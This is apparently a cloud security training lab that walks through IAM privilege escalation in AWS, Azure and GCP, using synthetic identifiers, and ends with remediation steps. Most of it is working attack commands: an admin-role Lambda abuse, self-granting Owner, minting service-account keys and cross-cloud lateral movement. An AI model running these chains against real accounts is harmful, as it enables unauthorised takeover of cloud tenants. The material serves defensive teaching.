Lab 17: Cloud IAM Privilege Escalation¶

# Step 1.1: Verify current identity
aws sts get-caller-identity

# Expected output (SYNTHETIC):
# {
#     "UserId": "AIDAIOSFODNN7SYNTHETIC",
#     "Account": "111122223333",
#     "Arn": "arn:aws:iam::111122223333:user/dev-intern"
# }

# Step 1.2: List all IAM users (if permitted)
aws iam list-users --output table

# Step 1.3: List all IAM roles
aws iam list-roles --query 'Roles[*].[RoleName,Arn,CreateDate]' --output table

# Step 1.4: List all policies attached to your user
aws iam list-attached-user-policies --user-name dev-intern

# Step 1.5: List inline policies
aws iam list-user-policies --user-name dev-intern

# Step 1.6: Get the policy document for each attached policy
aws iam get-policy-version \
  --policy-arn arn:aws:iam::111122223333:policy/DevInternPolicy \
  --version-id v1

# Step 2.1: List all roles with their trust policies
aws iam list-roles --query 'Roles[*].[RoleName,AssumeRolePolicyDocument]' --output json

# Step 2.2: Examine the LambdaExecutionRole (high-privilege target)
aws iam get-role --role-name CyberVault-LambdaAdmin-Role

# Step 2.3: List policies on the target role
aws iam list-attached-role-policies --role-name CyberVault-LambdaAdmin-Role

# Step 2.4: Get the permissions policy on the target role
aws iam get-policy-version \
  --policy-arn arn:aws:iam::111122223333:policy/CyberVault-AdminAccess \
  --version-id v1

# Step 3.1: Create a Lambda function that uses the admin role
# First, create the function code
cat > /tmp/escalation_test.py << 'PYEOF'
import boto3
import json

def lambda_handler(event, context):
    """
    SYNTHETIC privilege escalation test function.
    In a real attack, this would perform admin actions.
    For this lab, we only enumerate what we CAN do.
    """
    sts = boto3.client('sts')
    identity = sts.get_caller_identity()

    iam = boto3.client('iam')
    # Attempt to list all users (admin action)
    users = iam.list_users()

    return {
        'statusCode': 200,
        'body': json.dumps({
            'escalated_identity': identity['Arn'],
            'user_count': len(users['Users']),
            'message': 'SYNTHETIC - Privilege escalation successful'
        })
    }
PYEOF

# Step 3.2: Package the function
cd /tmp && zip escalation_test.zip escalation_test.py

# Step 3.3: Create the Lambda function with the admin role
aws lambda create-function \
  --function-name escalation-test-SYNTHETIC \
  --runtime python3.11 \
  --role arn:aws:iam::111122223333:role/CyberVault-LambdaAdmin-Role \
  --handler escalation_test.lambda_handler \
  --zip-file fileb://escalation_test.zip \
  --timeout 30

# Step 3.4: Invoke the function
aws lambda invoke \
  --function-name escalation-test-SYNTHETIC \
  --payload '{}' \
  /tmp/escalation_output.json

# Step 3.5: View the result
cat /tmp/escalation_output.json

# Step 1.1: Login with the low-privilege service principal (SYNTHETIC)
az login --service-principal \
  --username 11111111-2222-3333-4444-555555555555 \
  --password "SYNTHETIC~secret~value~do~not~use~in~production" \
  --tenant a1b2c3d4-e5f6-7890-abcd-ef1234567890

# Step 1.2: Get current identity context
az account show --output json

# Step 1.3: List all service principals in the tenant
az ad sp list --all --query '[].{DisplayName:displayName, AppId:appId, Id:id}' --output table

# Step 2.1: Check Azure AD role assignments for each SP
az rest --method GET \
  --url "https://graph.microsoft.com/v1.0/directoryRoles" \
  --query "value[].{RoleName:displayName, RoleId:id}"

# Step 2.2: List role assignments for AutoDeploy SP
az role assignment list \
  --assignee 22222222-3333-4444-5555-666666666666 \
  --all --output table

# Step 2.3: Check Microsoft Graph API permissions
az ad app show --id 22222222-3333-4444-5555-666666666666 \
  --query "requiredResourceAccess"

# Step 3.1: Check for additional credential material on the AutoDeploy SP
az ad app credential list --id 22222222-3333-4444-5555-666666666666 --output table

# Step 4.1: Login as the AutoDeploy SP (assume we obtained its credentials)
az login --service-principal \
  --username 22222222-3333-4444-5555-666666666666 \
  --password "SYNTHETIC~autodeploy~credential~REDACTED" \
  --tenant a1b2c3d4-e5f6-7890-abcd-ef1234567890

# Step 4.2: Grant ourselves Owner role (privilege escalation)
az role assignment create \
  --assignee 22222222-3333-4444-5555-666666666666 \
  --role "Owner" \
  --scope "/subscriptions/f9e8d7c6-b5a4-3210-fedc-ba9876543210"

# Expected output (SYNTHETIC):
# {
#   "principalId": "bbbbbbbb-cccc-dddd-eeee-ffffffffffff",
#   "roleDefinitionId": "/subscriptions/f9e8d7c6.../providers/Microsoft.Authorization/roleDefinitions/8e3af657-a8ff-443c-a75c-2fe8c4bcb635",
#   "scope": "/subscriptions/f9e8d7c6-b5a4-3210-fedc-ba9876543210"
# }

# Step 4.3: Verify escalation
az role assignment list \
  --assignee 22222222-3333-4444-5555-666666666666 \
  --all --output table

# Step 1.1: Get the project IAM policy
gcloud projects get-iam-policy cybervault-prod-2026 --format=json

# Step 1.2: List all service accounts
gcloud iam service-accounts list \
  --project=cybervault-prod-2026 \
  --format="table(email,displayName,disabled)"

# Step 1.3: List custom roles
gcloud iam roles list \
  --project=cybervault-prod-2026 \
  --format="table(name,title,stage)"

# Step 2.1: Examine the suspicious "LegacyFullAccess" custom role
gcloud iam roles describe LegacyFullAccess \
  --project=cybervault-prod-2026 \
  --format=json

# Step 3.1: Check who has the LegacyFullAccess role
gcloud projects get-iam-policy cybervault-prod-2026 \
  --flatten="bindings[].members" \
  --filter="bindings.role:roles/LegacyFullAccess" \
  --format="table(bindings.role,bindings.members)"

# Step 4.1: Authenticate as the legacy-etl-sa (assume key was found)
gcloud auth activate-service-account \
  legacy-etl-sa@cybervault-prod-2026.iam.gserviceaccount.com \
  --key-file=/tmp/legacy-etl-sa-key-SYNTHETIC.json

# Step 4.2: Create a key for the backup-admin service account
# (which has higher privileges we want to escalate to)
gcloud iam service-accounts keys create /tmp/backup-admin-key-SYNTHETIC.json \
  --iam-account=backup-admin-sa@cybervault-prod-2026.iam.gserviceaccount.com

# Expected output (SYNTHETIC):
# created key [SYNTHETIC-KEY-ID-abcdef1234567890] of type [json] as
# [/tmp/backup-admin-key-SYNTHETIC.json] for
# [backup-admin-sa@cybervault-prod-2026.iam.gserviceaccount.com]

# Step 4.3: Authenticate as the backup-admin SA
gcloud auth activate-service-account \
  backup-admin-sa@cybervault-prod-2026.iam.gserviceaccount.com \
  --key-file=/tmp/backup-admin-key-SYNTHETIC.json

# Step 4.4: Verify escalated access
gcloud projects get-iam-policy cybervault-prod-2026 --format=json | head -50

# Step 1.1: Examine the AWS OIDC provider configuration
aws iam list-open-id-connect-providers

# Expected output (SYNTHETIC):
# {
#     "OpenIDConnectProviderList": [
#         {
#             "Arn": "arn:aws:iam::111122223333:oidc-provider/login.microsoftonline.com/a1b2c3d4-e5f6-7890-abcd-ef1234567890/v2.0"
#         },
#         {
#             "Arn": "arn:aws:iam::111122223333:oidc-provider/accounts.google.com"
#         }
#     ]
# }

# Step 1.2: Get details of the Azure AD OIDC provider
aws iam get-open-id-connect-provider \
  --open-id-connect-provider-arn \
  "arn:aws:iam::111122223333:oidc-provider/login.microsoftonline.com/a1b2c3d4-e5f6-7890-abcd-ef1234567890/v2.0"

# Step 2.1: Examine the cross-cloud role trust policy
aws iam get-role --role-name CyberVault-AzureFederatedRole --output json

# Step 3.1: Examine GCP Workload Identity Pool
gcloud iam workload-identity-pools describe cybervault-aws-pool \
  --project=cybervault-prod-2026 \
  --location=global \
  --format=json

# Step 3.2: List providers in the pool
gcloud iam workload-identity-pools providers describe aws-provider \
  --workload-identity-pool=cybervault-aws-pool \
  --project=cybervault-prod-2026 \
  --location=global \
  --format=json

# Step 4.1: From a compromised Azure AD SP, obtain an AWS role

# First, get an Azure AD token with the cross-cloud audience
curl -X POST \
  "https://login.microsoftonline.com/a1b2c3d4-e5f6-7890-abcd-ef1234567890/oauth2/v2.0/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "client_id=22222222-3333-4444-5555-666666666666" \
  -d "client_secret=SYNTHETIC~credential~REDACTED" \
  -d "scope=api://cybervault-cross-cloud/.default" \
  -d "grant_type=client_credentials"

# Expected response (SYNTHETIC):
# {
#   "token_type": "Bearer",
#   "expires_in": 3599,
#   "access_token": "eyJ0eXAiOiJKV1QiSYNTHETICtoken..."
# }

# Step 4.2: Use the Azure AD token to assume the AWS role
aws sts assume-role-with-web-identity \
  --role-arn arn:aws:iam::111122223333:role/CyberVault-AzureFederatedRole \
  --role-session-name "lateral-movement-SYNTHETIC" \
  --web-identity-token "eyJ0eXAiOiJKV1QiSYNTHETICtoken..." \
  --duration-seconds 3600

# Expected output (SYNTHETIC):
# {
#     "Credentials": {
#         "AccessKeyId": "ASIAIOSFODNN7SYNTHETIC",
#         "SecretAccessKey": "SYNTHETIC+temp+secret+key+REDACTED",
#         "SessionToken": "FwoGZXIvYXdzEBYaDSYNTHETIC...",
#         "Expiration": "2026-03-22T20:00:00Z"
#     },
#     "AssumedRoleUser": {
#         "AssumedRoleId": "AROAIOSFODNN7SYNTHETIC:lateral-movement-SYNTHETIC",
#         "Arn": "arn:aws:sts::111122223333:assumed-role/CyberVault-AzureFederatedRole/lateral-movement-SYNTHETIC"
#     }
# }

# Step 4.3: From AWS, pivot to GCP via Workload Identity Federation
# Generate an AWS STS token for GCP
gcloud auth login \
  --cred-file=/tmp/aws-to-gcp-config-SYNTHETIC.json

# The credential configuration file:
cat > /tmp/aws-to-gcp-config-SYNTHETIC.json << 'EOF'
{
    "type": "external_account",
    "audience": "//iam.googleapis.com/projects/999888777/locations/global/workloadIdentityPools/cybervault-aws-pool/providers/aws-provider",
    "subject_token_type": "urn:ietf:params:aws:token-type:aws4_request",
    "service_account_impersonation_url": "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/ml-training-sa@cybervault-prod-2026.iam.gserviceaccount.com:generateAccessToken",
    "token_url": "https://sts.googleapis.com/v1/token",
    "credential_source": {
        "environment_id": "aws1",
        "region_url": "http://169.254.169.254/latest/meta-data/placement/availability-zone",
        "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials",
        "regional_cred_verification_url": "https://sts.{region}.amazonaws.com?Action=GetCallerIdentity&Version=2011-06-15"
    }
}
EOF

# Apply the permission boundary (SYNTHETIC)
aws iam create-policy \
  --policy-name CyberVault-DevPermissionBoundary \
  --policy-document file://dev-permission-boundary.json

aws iam put-user-permissions-boundary \
  --user-name dev-intern \
  --permissions-boundary \
  "arn:aws:iam::111122223333:policy/CyberVault-DevPermissionBoundary"

# Remove the dangerous role assignment (SYNTHETIC)
az role assignment delete \
  --assignee 22222222-3333-4444-5555-666666666666 \
  --role "User Access Administrator" \
  --scope "/subscriptions/f9e8d7c6-b5a4-3210-fedc-ba9876543210"

# Assign eligible (not active) role via PIM (SYNTHETIC)
az rest --method POST \
  --url "https://graph.microsoft.com/v1.0/roleManagement/directory/roleEligibilityScheduleRequests" \
  --body '{
    "action": "adminAssign",
    "justification": "JIT access for deployment pipeline - SYNTHETIC",
    "roleDefinitionId": "b24988ac-6180-42a0-ab88-20f7382dd24c",
    "directoryScopeId": "/",
    "principalId": "bbbbbbbb-cccc-dddd-eeee-ffffffffffff",
    "scheduleInfo": {
        "startDateTime": "2026-03-22T00:00:00Z",
        "expiration": {
            "type": "afterDuration",
            "duration": "PT8H"
        }
    }
  }'

# Remove the legacy long-lived credential (SYNTHETIC)
az ad app credential delete \
  --id 22222222-3333-4444-5555-666666666666 \
  --key-id 88888888-aaaa-bbbb-cccc-dddddddddddd

# Create a short-lived credential (90 days max)
az ad app credential reset \
  --id 22222222-3333-4444-5555-666666666666 \
  --display-name "ShortLived-Credential-SYNTHETIC" \
  --years 0 \
  --end-date "2026-06-22"

# Set organization policy to disable SA key creation (SYNTHETIC)
gcloud resource-manager org-policies set-policy \
  --project=cybervault-prod-2026 \
  /tmp/disable-sa-keys-policy.yaml

# Policy file content:
cat > /tmp/disable-sa-keys-policy.yaml << 'EOF'
constraint: constraints/iam.disableServiceAccountKeyCreation
booleanPolicy:
  enforced: true
EOF

# Delete existing SA keys (SYNTHETIC)
gcloud iam service-accounts keys list \
  --iam-account=legacy-etl-sa@cybervault-prod-2026.iam.gserviceaccount.com \
  --format="value(name)" | while read key_id; do
    gcloud iam service-accounts keys delete "$key_id" \
      --iam-account=legacy-etl-sa@cybervault-prod-2026.iam.gserviceaccount.com \
      --quiet
done